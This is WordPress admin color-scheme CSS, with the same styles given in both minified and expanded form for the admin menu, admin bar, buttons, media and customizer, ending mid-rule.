li.widgets-chooser-selected{background-color:#888;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #09cafa,0 0 2px 1px #04a4cc}div#wp-responsive-toggle a:before{color:#999}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#888}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#fff}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#999}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#04a4cc}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#04a4cc}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#04a4cc}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#04a4cc}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #09cafa,0 0 2px 1px #04a4cc}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#04a4cc;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#04a4cc}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#04a4cc;border-style:solid;box-shadow:0 0 0 1px #04a4cc;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#04a4cc}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #09cafa,0 0 2px 1px #04a4cc}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#04a4cc;color:#0073aa}.theme-filter.current,.theme-section.current{border-bottom-color:#04a4cc}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f5f5f5;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #04a4cc;
  box-shadow: 0 0 0 1px #04a4cc;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #04a4cc;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #04a4cc;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #04a4cc;
  border-color: #04a4cc;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #037c9a;
  color: #037c9a;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #09cafa;
  color: #025468;
  box-shadow: 0 0 0 1px #09cafa;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #04a4cc;
  border-color: #04a4cc;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #04b0db;
  border-color: #0498bd;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #04a4cc;
}
.wp-core-ui .button-primary:active {
  background: #0490b3;
  border-color: #0490b3;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #04a4cc;
  color: #fff;
  border-color: #036881;
  box-shadow: inset 0 2px 5px -3px black;
}
.wp-core-ui .button-group > .button.active {
  border-color: #04a4cc;
}
.wp-core-ui .wp-ui-primary {
  color: #333;
  background-color: #e5e5e5;
}
.wp-core-ui .wp-ui-text-primary {
  color: #e5e5e5;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #888;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #888;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #d64e07;
}
.wp-core-ui .wp-ui-text-notification {
  color: #d64e07;
}
.wp-core-ui .wp-ui-text-icon {
  color: #999;
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #04a4cc;
  color: #04a4cc;
}

.wrap .page-title-action:hover {
  color: #037c9a;
  border-color: #037c9a;
}

.wrap .page-title-action:focus {
  border-color: #09cafa;
  color: #025468;
  box-shadow: 0 0 0 1px #09cafa;
}

.view-switch a.current:before {
  color: #e5e5e5;
}

.view-switch a:hover:before {
  color: #d64e07;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #e5e5e5;
}

#adminmenu a {
  color: #333;
}

#adminmenu div.wp-menu-image:before {
  color: #999;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #888;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #ccc;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f5f5f5;
  border-bottom-color: #f5f5f5;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #fff;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #fff;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #686868;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #686868;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #04a4cc;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #333;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #04a4cc;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f5f5f5;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #888;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #ccc;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #d64e07;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #333;
  background: #fff;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #777;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #04a4cc;
}

/* Admin Bar */
#wpadminbar {
  color: #333;
  background: #e5e5e5;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #333;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #999;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #04a4cc;
  background: #fff;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #04a4cc;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #04a4cc;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #fff;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #f7f7f7;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #686868;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #999;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #04a4cc;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #04a4cc;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #999;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #999;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #333;
  background: #f7f7f7;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #d64e07;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #c14606;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #f7f7f7;
  background-color: #f7f7f7;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #333;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #04a4cc;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #686868;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #04a4cc;
  border-color: #0490b3;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #04a4cc;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #04a4cc;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #04a4cc;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #04a4cc;
}

.attachment.details .check {
  background-color: #04a4cc;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #04a4cc;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #04a4cc;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #04a4cc;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #04a4cc;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #e5e5e5;
}

body.more-filters-opened .more-filters {
  color: #333;
  background-color: #e5e5e5;
}

body.more-filters-opened .more-filters:before {
  color: #333;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #888;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #888;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #09cafa, 0 0 2px 1px #04a4cc;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #999;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #888;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #fff;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #999;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #04a4cc;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #04a4cc;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #04a4cc;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #04a4cc;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #09cafa, 0 0 2px 1px #04a4cc;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #04a4cc;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #04a4cc;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #04a4cc;
  border-style: solid;
  box-shadow: 0 0 0 1px #04a4cc;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #04a4cc;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #04a4cc;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #04a4cc;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #09cafa, 0 0 2px 1px #04a4cc;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #04a4cc;
  color: #0073aa;
}

/* Override the theme filter highlight color for this scheme */
.theme-section.current,
.theme-filter.current {
  border-bottom-color: #04a4cc;
}/*! This file is auto-generated */
body{background:#f5f5f5}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#04a4cc;box-shadow:0 0 0 1px #04a4cc}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#04a4cc;color:#262a2e;box-shadow:inset 0 2px 5px -3px #04a4cc}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#04a4cc;border-color:#04a4cc}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#037c9a;color:#037c9a}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#09cafa;color:#025468;box-shadow:0 0 0 1px #09cafa}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#04a4cc;border-color:#04a4cc;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#04b0db;border-color:#0498bd;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #04a4cc}.wp-core-ui .button-primary:active{background:#0490b3;border-color:#0490b3;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#04a4cc;color:#fff;border-color:#036881;box-shadow:inset 0 2px 5px -3px #000}.wp-core-ui .button-group>.button.active{border-color:#04a4cc}.wp-core-ui .wp-ui-primary{color:#333;background-color:#e5e5e5}.wp-core-ui .wp-ui-text-primary{color:#e5e5e5}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#888}.wp-core-ui .wp-ui-text-highlight{color:#888}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d64e07}.wp-core-ui .wp-ui-text-notification{color:#d64e07}.wp-core-ui .wp-ui-text-icon{color:#999}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #04a4cc;color:#04a4cc}.wrap .page-title-action:hover{color:#037c9a;border-color:#037c9a}.wrap 